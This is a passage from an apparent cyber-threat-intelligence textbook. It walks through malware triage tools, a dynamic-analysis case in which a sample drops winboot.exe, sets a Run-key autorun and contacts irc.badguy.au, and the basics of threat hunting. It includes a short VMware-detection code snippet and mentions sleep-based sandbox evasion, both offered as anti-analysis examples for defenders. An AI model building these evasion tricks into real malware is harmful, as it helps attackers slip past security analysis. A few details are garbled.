			While analyzing files that are potentially malware, it's important to understand that the malware author does not write software completely from scratch and often uses libraries and functionality afforded by the operating system. For example, if the threat actor wants to utilize the Windows registry, they don't write native functionality in the binary file that allows this to occur. Instead, they utilize functions made available by the Windows operating system that provide the necessary functionality to interact with the registry. They are often referred to as Windows API functions. The list of libraries and functions that every PE utilizes is stored directly within the binary inside what is known as the import table. PEiD can parse the file's import table and identify which libraries it is importing from the operating system, as well as what functions are being utilized. You can see an example of this in the following screenshot: 

			
				
					[image: Figure 7.20 – PEiD Imports Viewer]
				

			

			Figure 7.20 – PEiD Imports Viewer

			As shown in the preceding screenshot of the PEiD imports viewer, this sample utilizes the RegOpenKeyExA, RegQueryValueExA, and RegCloseKey functions. Alone, the descriptions of each of these functions can be looked up in Microsoft's developer documentation, as well as the documentation regarding what expected parameters should be passed to the function call. For an example of each function, please take a look at the following resources:

			
					RegOpenKeyExA: https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regopenkeyexa

					RegQueryValueExA: https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regqueryvalueexa

					RegCloseKey: https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regclosekey 

			

			While each of these Windows libraries provides functions that are utilized, it's only when a combination of such function calls are used in succession or holistically that we can begin to determine the capability of the PE file without executing it. In this instance, the combination of executing these three functions together informs the researcher that this file is reading registry keys. Finally, PEiD would not be a complete application if it did not have a hexadecimal editor built into it, as shown in the following screenshot:

			
				
					[image: Figure 7.21 – PEiD's hexadecimal editor]
				

			

			Figure 7.21 – PEiD's hexadecimal editor

			While we will dive deeper into hexadecimal editors later in this chapter, PEiD's hexadecimal editor provides the user with a basic interface to review the address offsets of code in the leftmost column, the hexadecimal representation of the file's binary in the middle column, and an ASCII representation of the hexadecimal bytes in the rightmost column. Other features that make PEiD a powerhouse application is its extensibility, its ability to create custom signatures, and its command-line capabilities. We can't talk about all of them; just know that if you want to learn more, PEiD is a powerhouse application that can easily be utilized for file analysis. 

			Hexadecimal editors

			A hexadecimal editor, sometimes referred to as a hex editor, is an application that translates the binary of a file into base 16 notation, referred to as hexadecimal. With a hex editor, a user can edit the raw contents of a file. Earlier in this chapter, when we spoke about file signatures, we discussed how eight bits were translated into the two alphanumeric characters between zero and nine and between the letter A and the letter F. These two alphanumeric characters represent one byte of data.

			In every hex editor, three main columns make up the data representation. In the far-left column of the hex editor are the address offsets of the file represented in bytes. The address offset in this left column represents the address of the first byte on the same row in the second column. In the second column, there is a header that is represented by 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F. This is a 16-byte boundary representing data counting from left to right. If you review the following screenshot of the HxD hexadecimal editor, you will notice that the three columns that we are referencing have been blocked out. Within the hex editor, looking at the left column, you can locate the address offset of 0x7E00 and then read the byte offset in the left-most column of the middle section, which is the column represented by 00 in the header, and then the byte value, whose reference is 0xEB.

			This seems easy enough, but let's say you want to read the byte value at address offset 0x7E1C – it becomes a little more difficult for people who do not have experience working in a hex editor. To find the byte value at this address offset, you simply identify the closest address offset represented in the left column without going over your target address offset. In this instance, it is 0x7E10. Then, since we're looking for the 0C column, we just count over from left to right until the 0C column intersects the 0x7E10 row. When doing this, we can see that the value represented by 0x7E1C is a byte value of 0x3F:
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			Figure 7.22 –HxD – Freeware Hex Editor and Disk Editor

			Finally, the right-most column represents the ASCII representation of the hexadecimal representation, as we discussed earlier when we talked about file signatures. The benefit of using a hex editor is that it allows security researchers to not only inspect the contents of the file, it also allows them to make changes to the content of the file.

			While we've introduced you to HxD, numerous other free hex editors are available for use, and even some browser-based ones can be utilized. Here are some recommendations:

			
					HxD: https://mh-nexus.de/en/hxd/

					HexEdit: https://sourceforge.net/projects/hexedit/

					HexEd: https://hexed.it/

			

			Now that we know about hexadecimal editors, let's discuss more static analysis tools.

			More static analysis tools

			While we couldn't even begin to cover the gamut of open source static analysis tools that would be useful for researching unknown files further, we feel that we gave you a view into a select few. Here are a few more that we believe to be invaluable static analysis tools but that we were not able to cover in-depth and talk about their value during the enrichment process:

			
					pestudio: https://www.winitor.com/

					peframe: https://github.com/guelfoweb/peframe

					Process Hacker: https://processhacker.sourceforge.io/

					Microsoft Sysinternals Suite: https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite

					Detect It Easy (DIE): https://github.com/horsicq/Detect-It-Easy

					pev: https://pev.sourceforge.io/

					Ghidra: https://ghidra-sre.org

			

			As you can see from the buffet of static analysis tools that we've reviewed, each has a specific purpose and can provide you with extracted data, artifacts, or IOCs associated with the file you are researching. However, sometimes, it is important to run a file either in the operating system directly or by opening it with the application that the file belongs to. Doing this while recording what is changing in the operating system is called dynamic analysis. We will discuss this in more detail next. 

			Dynamic malware analysis

			As we mentioned previously, the goal of dynamic analysis is to identify any artifacts that are generated in the operating system during file execution and then identify which of these are indicators of compromise that can be associated with the file. The predominant amount of malware that exists continues to target the Windows operating system. So, in this section, we're only going to focus on standing up and developing a dynamic malware analysis environment for Windows-based malware. However, keep in mind that a dynamic analysis environment can be set up for every targeted operating system.

			After creating an environment to perform dynamic analysis and execute the file, it is important to understand what types of artifacts are generated during file execution. Four types of categories of artifacts are generated. Let's take a look:

			
					Network: As we mentioned earlier in this chapter, there are infrastructure-based IOCs that are usually associated with network traffic. During dynamic analysis, an environment can be created that allows us to capture any attempted communication from the operating system to any established network infrastructure. This can include the infrastructure locations, domain, or IP address, but the environment can also be configured to capture full network content for analysis.

					File: While executing a potential piece of malware in your dynamic analysis environment, it is not uncommon for malware to drop copies of itself into sensitive operating system directories or even other forms of malware. Each of these new files contains a file or network-based IOCs that need to be enriched further. But for the file that you execute, the location of the new files that it has written to the operating system is important. While write operations to the filesystem spark the most interest, ensure that you also review whether the malware is opening any files and querying additional information as a tertiary interest. 

					Registry: Like so many legitimate features or tools that exist in the Windows operating system, threat actors attempt to utilize the path of least resistance and make use of the tools that are presented to them. The Windows Registry is one of those tools. Malware has been known to use the Registry and the Windows startup process to establish persistence mechanisms so that the malware survives a reboot of the operating system. Additionally, malware also has been known to store data in the Registry that can later be exfiltrated to an infrastructure location, or even contain code that will be used at a later attack stage. As you can see, Registry-based IOCs that are created during payload execution are important to identify, understand why they exist, and understand their contents.

					Process: As we mentioned earlier in this chapter, when we spoke about how PEiD can parse a file's import table and identify any operating system functionality that is imported, creating new processes in the operating system is probably its most powerful feature. Malware frequently utilizes the CreateProcess function, which establishes a new process in the operating system. A Windows process is when the operating system loader reads an application into memory and allows that application to run in the background. Simply put, a process is an executing program. It is not uncommon for malware to execute a copy of itself or any other malware payload that it may have written to the operating system. As it does this, new processes are created in the operating system. In a dynamic analysis environment, a researcher can identify new processes that are being created and the application responsible for doing so.

			

			To give you a better understanding of how these four IOC types can be used together to tell the story of the malware's execution, let's examine a common execution scenario. While the malware is executing in the dynamic analysis environment, the malware may read some information about the environment where it is executing that may consist of file and registry reads. Following it is not uncommon to check its command-and-control infrastructure and identify whether a new victim is available. This will produce observable network traffic. Next, the malware will drop copies of itself or even a new sample into sensitive Windows operating system folders where common users will not look. This is a file write operation. Next, the malware may modify the registry to make use of an autorun key to ensure that the file that's been dropped continues to be executed after each reboot. Finally, the malware sample may execute the dropped copy of itself, creating a new process that remains idle while awaiting communication, or even begin performing some programmatic task that the threat actor has implemented in the application.

			As you can see from this common execution scenario, capturing these four IOC types during execution can allow a researcher to profile the execution of the malware sample and even use it and the static analysis results to identify key characteristics of the attack. Now, let's learn how to set up an environment so that we can do this.

			Setting up the environment

			We must execute the malware in an environment that does not affect our host operating system. To accomplish this, we must utilize some form of virtual machine application to virtualize an operating system that we will execute the malware sample in. This should be an operating system that is completely gated away from our host OS so that we do not infect ourselves.

			We introduced you to virtual machines back in Chapter 5, Operational Security (OPSEC). There, we introduced you to a free virtual machine application named VirtualBox. VirtualBox can be downloaded from https://www.virtualbox.org/. There, we discussed using a virtual machine application such as VirtualBox to create environments for you to collect data and segregate your host operating system. However, in the previous instance, this was for operational security, while for dynamic malware analysis, the benefits are to reduce the probability of infecting your host operating system and to take advantage of the snapshot capabilities afforded by the VirtualBox application. The snapshot feature will allow us to create an environment to execute malware, install tools for monitoring the operating system, snapshot the state of the operating system, then execute the malware and revert on the snapshot. This will ensure the environment is sanitized and ready to execute another sample with a limited setup.

			To begin setting up the dynamic analysis environment, we must decide what target operating system the malware will be executed in and then set up a virtual machine that has this targeted operating system installed. Once we've done this, additional tools will need to be set up in the environment to monitor for the different IOCs we are interested in. Let's move on and discuss these additional tools.

			Dynamic malware analysis tools

			First, let's start by discussing tools that will allow us to capture infrastructure-based IOCs. The researcher has two options here – either implement a tool that focuses on capturing the network-based IOCs that are communicated with during execution, such as IP addresses and domain/URLs, or capture the full content of the network transmission. The difference between the two is that in the first instance, you are simulating the internet and gauging the response of the malware sample during execution; you're monitoring for communication to network touchpoints. In the second instance, you are either simulating the internet or allowing the malware to completely contact the internet while man-in-the-middling the network traffic with a tool that allows you to fully capture the network content that's being transmitted over the network. Let's touch base on tools for both scenarios. 

			Right now, if you followed our suggestion in the More static analysis tools section and installed MAP, then your system already has a tool installed named Fake DNS, which was distributed with MAP. As shown in the following screenshot, Fake DNS is great at identifying the network IOCs that your operating system is attempting to communicate with:

			
				
					[image: Figure 7.23 – Fake DNS]
				

			

			Figure 7.23 – Fake DNS 

			In the preceding screenshot, you can see that the Windows operating system is communicating with the time.windows.com URL frequently. One thing to note about all the tools in your dynamic analysis suite is that they are recording everything that they see. It is up to the researcher to discern what is legitimate and what is a direct result of payload execution.

			While Fake DNS is an amazing tool for monitoring domain name system (DNS) queries during malware execution, the de facto standard right now is an application known as the Internet Services Simulation Suite or INetSim. INetSim can be downloaded from https://www.inetsim.org/. INetSim is an amazing tool that attempts to simulate the gamut of network services on the internet, including DNS, HTTP(S), SMTP, POP3, FTP(S)/TFTP, IRC, NTP, and more. Additionally, when configured properly, it can serve up a fake executable file to the executing malware sample.

			If the goal of your analysis is to capture the full content that is being transmitted over a network interface, then the application for you is Wireshark. According to their documentation, Wireshark is the world's foremost and most widely-used network protocol analyzer. It lets you see what's happening on your network at a microscopic level and is the de facto (and often de jure) standard across many commercial and non-profit enterprises, government agencies, and educational institutions. Wireshark can be downloaded from https://www.wireshark.org/. The following screenshot shows the Wireshark interface:
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			Figure 7.24 – Wireshark interface

			Wireshark is a network packet analyzer. You can think of a network packet analyzer as a tool that captures and measure anything that is traveling over a network interface. It has a gamut of capabilities and is often used by network administrators, software developers, and security engineers. The application is even used by people to learn about and understand network protocol internals. Ultimately, Wireshark captures network traffic and allows you to examine the contents of that traffic.

			The advantage of Wireshark over Fake DNS and INetSim is that we can see exactly what the malware payload is sending over the network versus just who or where it is sending it to. An organization that is capturing this information will have to decide which approach to take. Simply identifying and blocking the network infrastructure that the malware payload communicates with could be completely sufficient for some organizations. However, some researchers will want to dig deeper into understanding the malware sample and may capture the entire network package to understand what type of information is being sent by the executing malware sample.

			If you are interested in the TCP and UDP endpoints that exist on the system while the malware payload is being executed, then we can use TCPView, an application that's published by Microsoft that is part of their Sysinternals Suite that we recommended earlier in this chapter.

			Important Note 

			TCP stands for Transmission Control Protocol and UDP stands for User Data Protocol. Together, the two protocols belong to the network transport layer and are both responsible for internet communications. 

			If you want to obtain TCPView without also obtaining the entirety of the Sysinternals Suite, then you can download it from https://docs.microsoft.com/en-us/sysinternals/downloads/tcpview. According to Microsoft's documentation, TCPView is a Windows program that will show you detailed listings of all the TCP and UDP endpoints on your system, including the local and remote addresses and state of TCP connections. TCPView is extremely helpful in allowing a researcher to identify the name of the process that owns the TCP/UDP endpoint, but also in identifying the network IOC and the port that communication is occurring on. In the following screenshot, you can see a screen capture of TCPView:
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			Figure 7.25 – TCPView

			In the preceding screenshot, you can see that in this instance, Fake DNS is installed in the environment and configured to loop back all DNS query traffic to the localhost. Furthermore, you can see that there is a process named winboot.exe that is trying to communicate across the internet on port 6667. Since we're looping back all DNS queries to the localhost with Fake DNS, you can see that localhost:6667 is reported as the remote address, so both two programs are needed to identify the network IOC. In the following screenshot, you can see that in Fake DNS, query traffic is being sent to irc.badguy.au:

			
				
					[image: Figure 7.26 – Fake DNS resolving traffic after malware execution]
				

			

			Figure 7.26 – Fake DNS resolving traffic after malware execution

			Now that we have discussed how to capture infrastructure-based IOCs during execution, let's discuss programs that allow us to review the process creation, file, and registry-based IOCs that we can recover during malware execution in our environment. Let's start with monitoring process creation.

			To monitor process creation during file execution in our dynamic malware analysis environment, we will use a tool that's distributed by Microsoft in their Sysinternals Suite named Process Explorer. If you want to download Process Explorer separately from the entirety of the Sysinternals Suite, you can do so at https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer. According to Microsoft's documentation, Process Explorer's display consists of two sub-windows. The top window always shows a list of the currently active processes, including the names of their owning accounts, whereas the information that's displayed in the bottom window depends on the mode that Process Explorer is in: if it is in handle mode, you'll see the handles that the process selected in the top window that's opened; if Process Explorer is in DLL mode, you'll see the DLLs and memory-mapped files that the process has loaded. Process Explorer also has a powerful search capability that will quickly show you which processes have particular handles opened or DLLs loaded.

			The following screenshot contains a screen capture of Process Explorer that was taken in the same environment where we had deployed Fake DNS and TCPView. In this environment, you can assume we have executed a malware sample that created a new process named winboot.exe. The following screenshot articulates this further by indicating that this new process was created in Process Explorer:
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			Figure 7.27 – Process Explorer

			With the combination of our previous capture of TCPView and that of Process Explorer, we can confidently say that during malware execution, a new process was executed that connected to the irc.badguy.au network location over port 6667. The new process that was instantiated was called winboot.exe.

			To provide more clarity around IOC collection in our dynamic malware analysis environment, we'd like to introduce you to one final tool – Process Monitor. Process Monitor is also a tool that's distributed in Microsoft's Sysinternals Suite but can be downloaded separately from https://docs.microsoft.com/en-us/sysinternals/downloads/procmon. According to Microsoft's documentation, Process Monitor is an advanced monitoring tool for Windows that shows real-time filesystem, Registry, and process/thread activity. The following screenshot contains a screen capture of Process Monitor capturing the events associated with the execution of our malware payload:
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			Figure 7.28 – Process Monitor

			As you can see, Process Monitor is capturing events associated with the registry, the filesystem, and any process that's been created. This view can be very complex. For researchers to gain some clarity about what is going on during execution, Process Monitor includes a filter feature that allows the researcher to only focus on individual processes, as well as what was recorded by the IOC type. In the following screenshot, you can see Process Monitor's filter window:
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			Figure 7.29 – Process Monitor Filter

			In the previous screenshot, we used Process Monitor's filter capability to limit events in the window to just those of unknown3.exe, the file that we executed in our dynamic malware analysis environment. Secondly, we limited the operation to just process creation so that we could see the result and determine whether unknown3.exe was responsible for creating winboot.exe.

			In the following screenshot, you can see that all of our captured events have been filtered and that a process event has been created in the main Process Monitor window. Upon executing unknown3.exe, it creates a new process for a file that is located at C:WINDOWS\winboot.exe:
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			Figure 7.30 – Process Monitor events filtered on Process Create

			As you can see, if you click on the event, an Event Properties window will open that provides you with more information about the event. From this review, we can say with confidence that executing our malware file in the environment created a new process for a file. We can even suggest that this execution created the file that was used to execute. Let's use Process Monitor to prove this.

			In the following screenshot, you can see that we have changed the Process Monitor filter:
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			Figure 7.31 – Process Monitor events filtered on WriteFile

			While leaving the process name undisturbed, we changed the operation to writeFile in Process Monitor's filter. Note that in Process Monitor, the operation filter represents the executing malware payload's attempt to utilize the operating system libraries and functions that are made available to it. In this instance, writeFile is a function that was imported by the binary file and is used to write data to the filesystem. More information about the writeFile function can be found at https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile. 

			From this, you can ascertain that a successful writeFile event occurs and that the result of the operation is that a file is written to C:\WINDOWS\winboot.exe. This is in line with everything that we have discovered so far and provides the empirical evidence we needed to support our previous suggestion.

			The final thing we want to do is use Process Monitor to review any changes to the operating system's registry. To do this, the Process Monitor filter has changed to now look for any new key creation or values being written to a key by changing the operations to RegCreateKey and RegSetValue. Like writeFile, these two operations are also forms of imported operating system functionality that allow processes to interact with the Registry. Documentation for these functions can also be found in Microsoft's developer documentation. The following screenshot shows the result of our new filter:
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			Figure 7.32 – Process Monitor events filtered on Registry functions

			In the previous screenshot, we can see that a successful RegSetValue operation has been written to a key location at SOFTWARE\Microsoft\CurrentVersion\Run\Winloader with a value of winboot.exe. This location in the registry is known as an autorun location. Placing an entry in this key location will cause the referenced program to start during the Windows bootup process. The following keys are created by default in the Windows operating system, though autorun keys are not limited to these few:

			
					HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

					HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

					HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

					HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

			

			To review this small scenario, we executed a file named unknown3.exe in our dynamic analysis environment, where we immediately saw it start communicating with the irc.badguy.au domain and then begin listening over 6667. unknown3.exe wrote a file named winboot.exe to the C:\WINDOWS\ folder. Then, unknown3.exe instantiated a new process, effectively running winboot.exe. Finally, it wrote an entry to an autorun registry location, establishing a persistence mechanism to survive the operating system being rebooted.

			Now that you have a better understanding of creating an environment to monitor a system during file execution and the tools that are used to extract some IOC information about the communication infrastructure or the file itself, let's discuss some shortcomings in doing this.

			Defeating system monitoring

			Analyzing malware, as well as the anti-analysis techniques that are implemented by threat actors, is often referred to as a cat and mouse game. When the security research community discovers a new anti-analysis technique that the threat actors have implemented and can defeat those mechanisms, the threat actor works to implement another technique. Very simple techniques are used by the threat actors to defeat most dynamic analyses.

			Programmatic conditional logic

			Programmatic conditional logic is the idea that threat actors can program behaviors into the malware payload that are dependent on the environment that they are executing within. The following code block introduces functionality that contains programmatic conditional logic:

			#include <windows.h>

			#define WIN32_LEAN_AND_MEAN

			void filter()

			{

			     return;

			}

			int main(int argc, char *argv[])

			{

			     __try {

			           __asm {

			           mov eax, 0x564D5868

			           mov ebx, 0xAA

			           mov ecx, 0xA

			           mov dx, 5658h

			           in eax, dx

			           }

			           MessageBoxA(NULL, "VMWare Detected",

			 "VM - yes", MB_OK);

			      }    __except(filter())

			           {

			            MessageBoxA(NULL, "VMWare NOT Detected", 

			 "VM - no", MB_OK);

			           }

			     return 0;

			}

			In the preceding code, a check for VMware virtualization is occurring immediately in the try block, followed by a level of conditional logic. While this is just an example, numerous virtualization detection techniques exist for all virtual machine applications. Should the threat actor not want their malware to be run by a virtualized operating system, they can simply exit the program gracefully or even just appear to be doing something that is non-malicious.

			While the preceding code illustrates the ease of virtual machine detection, it can be even easier to defeat the dynamic analysis environment. For example, a threat actor can simply delay the execution of their program for a substantial period to fool the researcher into thinking that no execution events are occurring. This functionality is made available by the operating system's library in the kernel32.dll file and through the use of the sleep function. Like the other functions and libraries that are part of the operating system, the sleep function's documentation can be found at https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-sleep. The malware sample can call the sleep function and utilize it to do nothing for whatever timeframe they think will deter the researcher. In the meantime, if the file was executed in an actual environment, it would simply wait out the sleep period and continue to perform its malicious function.

			While we've highlighted the pros and cons of setting up a dynamic malware analysis solution, there are open source solutions that are intended to provide the same capabilities for mass file analysis. 

			Cuckoo sandbox

			Creating a dynamic malware analysis environment allows researchers to customize the execution environment for malware samples. However, if this approach is not appealing to you, some software sandbox solutions are available. The most popular open source automated malware analysis sandbox solution is an application named Cuckoo Sandbox. More information about Cuckoo Sandbox can be found at https://cuckoosandbox.org/. According to Cuckoo Sandbox's documentation, You can throw any suspicious file at it and, in a matter of minutes, Cuckoo will provide a detailed report outlining the behavior of the file when it's executed inside a realistic but isolated environment.

			The default installation of Cuckoo Sandbox has tremendous capabilities, including the ability to analyze different malicious files for different operating systems, dump the network traffic that is produced, even if it is SSL/TSL, directly integrate with a memory analysis tool named Volatility, which allows you to perform memory analysis. However, the real benefit is that the entire ecosystem is open source and modular, so its deployment can be customized for any organization. 

			For maturing CTI organizations, Cuckoo Sandbox is a natural evolution from custom-crafted dynamic analysis environments. Cuckoo Sandbox has a REST API, which allows maturing organizations to implement some level of security automation, meaning that they can automatically push collected files in and then save the indicator data that has been produced in another platform so that the results of the analysis can be reviewed by analysts.

			If the organization is not keen on investing in deploying a Cuckoo Sandbox deployment, then other online solutions can be used that have free versions; these can also be extended to enterprise solutions for a cost. Let's examine some other online sandbox solutions.

			Online sandbox solutions

			Several online sandbox solutions can be utilized by an organization, should they not wish to invest in an internal solution. Let's discuss a few of them:

			
					VirusTotal (https://www.virustotal.com/): VirusTotal is probably the most well-known online sandbox solution due to its age and use by the community. This online sandbox solution is completely free to use for end users for non-commercial use. It works by inspecting submitted items against over 70 antivirus solutions and URL/domain blocklisting services. 

					any.run (https://app.any.run/): A newer entry in the online sandbox market, any.run has a free for non-commercial use offering that allows you to use several operating system environments to execute malware in. However, there are some limitations with this plan; you have a file size limit of 16 MB and can only submit five requests every minute. 

					Hybrid Analysis (https://www.hybrid-analysis.com/): Hybrid Analysis is a free malware analysis service that allows users to submit files for in-depth static and dynamic analysis. We'll look at Hybrid Analysis in more detail in Chapter 8, Technical Threat Analysis – Threat Hunting and Pivoting.

					Joe Security Sandbox (https://www.joesandbox.com/): According to their documentation, Joe Sandbox detects and analyzes potential malicious files and URLs on Windows, Android, macOS, Linux, and iOS for suspicious activities. It performs deep malware analysis and generates comprehensive and detailed analysis reports.

			

			While there are numerous other online sandbox solutions, most organizations make use of one of the four mentioned previously. As the maturity and investment by the organization grow, each of these solutions provides premium services that can be utilized. Now that we know about dynamic analysis solutions, let's discuss reverse engineering. 

			Reverse engineering

			If the goal of your organization is to fully understand the complete heuristic functionality of a malware payload, then performing static and dynamic analysis on the file will not give you this information. Static analysis tools will provide you with insightful artifacts and some IOCs that can be used to identify, collect, and even assist with determining a file. Dynamic analysis will provide you with information about what happens to the operating system at the beginning of the file's execution, not the full execution behavior of the file. This is where reverse engineering comes into play.

			As we mentioned earlier, reverse engineering utilizes a combination of disassembling, debugging, and decompilation to examine the full heuristic functionality of a binary file. It does this by reviewing the interpreted assembly that is produced by the contents of the file. Reverse engineering is a technically complex skill set and has a range of books written about it. While a useful skillset, we won't dive deeper into this form of analysis. 

			Summary

			In this chapter, we tried to demonstrate the importance of intelligence enrichment and analysis during the analysis phase of the intelligence life cycle. While sometimes complex, threat intelligence enrichment plays a vital role in producing accurate and actionable threat intelligence for other teams to leverage and help enable tactical and strategic decision-making. Hopefully, you now have a rudimentary understanding of the importance of intelligence analysis and enrichment as it pertains to files and, more specifically, infrastructure. 

			First, we dove into infrastructure and file-based analysis, as well as some common techniques that are used to analyze each. While not an exhaustive list of processes, this chapter should have served as a good introduction to intelligence enrichment and some individual concepts you should examine closely. While there's no one single tool to perform intelligence enrichment and analysis, there are several paid-ror and open source options readily available for both file and infrastructure enrichment. 

			In this chapter, we solely focused on intelligence enrichment. In the next chapter, we will look at an important aspect of threat intelligence work that's equally important in the analysis phase of the intelligence life cycle – threat hunting and pivoting using a wide variety of methods and techniques, such as using signatures.

		

	
		
			Chapter 8: Technical Threat Analysis – Threat Hunting and Pivoting

			Closely aligned to threat analysis and enrichment, threat hunting and pivoting are also done in the analysis stage of the threat intelligence lifecycle. The concept of threat hunting and pivoting involves working off a hypothesis or non-biased analytical judgment and some sort of data to hunt or pivot on. Presumably, pivoting off that hypothesis or data will yield additional indicators, tactics, techniques, and procedures (TTPs), and infrastructure used by a threat actor that can be monitored or alerted on. In this chapter, we will examine some core concepts related to threat hunting and pivot off that data to find related threat actor activity.

			Closely related to performing threat intelligence enrichment and analysis, pivoting and threat hunting help build a web of knowledge for TTPs associated with campaigns, actor groups, and malware families that fall directly into the analysis stage of the intelligence lifecycle. Pivoting focuses on pivoting from threat activity and looking for additional related malicious activity, while threat hunting involves looking for, or hunting for, threat activity.

			We will begin by defining the sometimes-misunderstood and underexamined terms of threat hunting and pivoting, and we will delve into several motivations for threat hunting and pivoting. We will then examine the different pivot methods available based on indicators or types of observables using free and openly available tools. 

			Specifically, in this chapter, we're going to cover the following:

			
					The motivation for hunting and pivoting

					Hunting methods

					Pivot methods

					Pivot and hunting tools and services

			

			The motivation for hunting and pivoting

			Before we dive into the motivation to perform threat hunting and pivoting, we first must examine what those terms mean. As mentioned earlier, threat hunting is a term that is often misunderstood, misrepresented, and misused. In simple terms, threat hunting is looking for threat activity in a network, on a host or server, or in logs, telemetry data, and antifactory datasets. Hunting often starts on the foundation of a goal or hypothesis, which helps dictate a specific first entry point into a hunt. Examined more closely, however, threat hunting often has varied motivations and layers depending on the organizational function and requirements. 

			Threat hunting is often performed on logs and datasets, with logs sometimes being examined by threat hunting teams typically attached to security operations center (SOC) functions, as an example. It can also be done by employees of organizations wishing to look through organizational telemetry data to better understand threat activity to write detections and alerts. Additionally, threat hunting can be done by incident response teams combing through logs for related attack activity. It can be done in a litany of fashions across a diverse ecosystem of logs and data.

			Pivoting is a term that is used throughout the information security industry. From offensive security to threat intelligence, pivoting in the context of threat intelligence is the technique of extracting data elements and analyzing those elements in conjunction with other data sources to discover other related data elements. Pivoting, from a more practical and high level, is taking specific data that is believed to be malicious and looking for, or pivoting on, additional related attacker infrastructure, capabilities, and tooling, for example. The act of pivoting is often a honed skill that begins to develop only after attempting several fruitful or worthless pivots. It essentially is a skill that is born out of practical application. In the following sections, we hope to teach you some of the basics pertaining to pivoting and threat hunting. 

			Just like with threat hunting, pivoting can be done with a diverse group of resources. It is often done by forensic analysts or incident responders when looking for tangentially related attacker infrastructure and tooling. Pivoting is also often done by SOC functions if pivoting off a known malicious indicator of compromise (IOC). Pivoting can be, and often is, performed by threat hunters that solely look for maliciousness in organizational logs and telemetry data to proactively identify and stop attackers.

			We're going to start off by discussing hunting methodologies that some of these units within organizations employ to hunt within their own logs and telemetry to look for the IOCs we discussed in the last chapter. We will then move on to discuss pivoting methodologies that utilize the same IOCs.

			Hunting methods

			If you recall, in Chapter 7, Technical Threat Analysis – Enrichment, we discussed how we took our collected data and began to enrich that data by producing IOCs that both identified network infrastructure and also contained IOCs that pertained directly to files and their execution within the operating system. We're going to take this idea just one step further here. While we produced indicators during our analysis of the infrastructure and the execution of the files, it's important to understand that not all indicators that are identified or created are malicious. It's completely up to the researcher who is doing the analysis to create the analytic judgment that identifies an indicator as malicious and, therefore, to categorize that indicator as an IOC, meaning that the indicator identified is, in fact, part of a malicious infrastructure or is doing something to the operating system with malicious intent.

			Let's illustrate this. If you remember from the last chapter when we were discussing setting up a dynamic analysis environment, we introduced you to FakeDNS, a tool that could capture domain name queries that were performed by the operating system. In the following figure, we have screen-captured FakeDNS's output window to remind you: 
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			Figure 8.1 – Screen capture of FakeDNS's output window

			You can clearly see from the preceding figure that the operating system is making a domain name query to the domain time.windows.com. While the operating system is performing this query, it can naturally be presumed that it is simply syncing its time with a Network Time Protocol (NTP) server based upon the domain name. NTP servers specifically are servers that are queried by operating systems to sync the time on a local host computer. In this instance, we have produced an indicator from the observation of the FakeDNS logging.

			However, the review of the indicator implies to the researcher that this indicator is not malicious at all and is only the expected behavior of the environment that we have established for analysis. For every indicator produced during the analysis of infrastructure or during the analysis of file execution, it must individually be analyzed to determine if it is expected behavior or a result of maliciousness. This idea of classifying each individual indicator as malicious, benign, or suspicious is called verdict determination and can be applied to individual indicators or the entire file. We will discuss strategies of verdict determination next.

			Verdict determination

			As we inferred, there are two types of verdict determination. One is focused on individual static indicators, such as those identified by the network infrastructure, or even static artifacts of a file, such as a file's hash. The other acts as the determinator as to whether a file's behavior warrants a determination of the file's overall maliciousness. Both require the researcher to review the empirical data produced during the enrichment process. The researcher must make an analytic determination of the intent of the indicator, and also utilize the bulk classification of multiple indicators to determine the classification of a file after analysis. 

			Once an individual indicator has been determined to be associated with malicious behavior, then it becomes known as an IOC, meaning that this individual indicator is clearly related to some form of malicious behavior. For any given threat that has been identified by an organization and information collected during a collection operation, think of IOCs as the vehicle to describe the particulars of that threat. For every threat that we have identified in our Cyber Threat Intelligence (CTI) storage platform, the uniqueness of that threat is expressed in indicator expression or basically a summation of all that threat's IOCs.

			When reviewing a file, remember that each of the indicators produced during execution needs to be analyzed to determine whether they are part of a malicious action or just normal behavior. In determining the overall maliciousness of a file, it's important to cluster the IOCs that exist for any file and review the percentage that can be classified as malicious. If the researcher can identify malicious indicators for each of the observed IOC types produced during file execution in a dynamic analysis environment, then chances are the file itself is malicious. Remember that we are talking about network infrastructure, process creation, file modification and creation, and registry modification and key creation. If an IOC is produced for each of those four, then chances are the file is malicious; however, don't forget that each must be reviewed for intent on an indicator level, but also, holistically to determine the overall file's intent.

			Once the bulk of IOCs is produced for any given threat, the IOCs themselves are used as an expression of the characteristics of any given threat. The IOCs identified for the threat are often called the threat expression, meaning that the summation of malicious indicators is used to express the characteristics of the threat that has been identified.

			Threat expression

			Now that we have reviewed each of the indicators produced and classified them as either benign or malicious IOCs, it's time for us to express these IOCs in alignment with an IOC type and disregard any benign indicators. This means translating the data we created a malicious verdict for into a properly typed IOC, by aligning the data with judgment to a type that has an understood definition within the entirety of the security research community. This is our first foray into creating intelligence! At this point, we have taken observed data, reviewed it, created an analytic judgment in regard to the maliciousness of each indicator, and aligned that data to a type.

			Over the course of this entire book, we've been introducing you to the concept of IOCs. In Chapter 1, Why You Need a Threat Intelligence Program, we introduced you to a tool named urlscan.io that could review the maliciousness of a URL and provide verdict determination and indicators. Some of those indicators consisted of network infrastructure, but also file indicators. These are the indicators we introduced then:

			
					URL: https://www.dorkyboy.com/photoblog/templates/[..]/styles/js/mdddss/lmmnodejs/

					DOMAIN: dorkboy.com

					IP ADDRESS: 174.136.24.154

					HASH: 1c8399c9f4f09feb8f95fe39465cc7e 70597b0097ad92da954db82646ec68dc3

					HASH: 7b0da639a2ad723ab73c08082a39562aa3a2d19 adb7472f1dbb354c5fd0b4c20

			

			Then, in Chapter 7, Technical Threat Analysis – Enrichment, we introduced you to the idea of gathering IOCs by observing the direct execution of a suspicious payload. If we review the IOCs we identified, then you can see their observation expressed as follows:

			
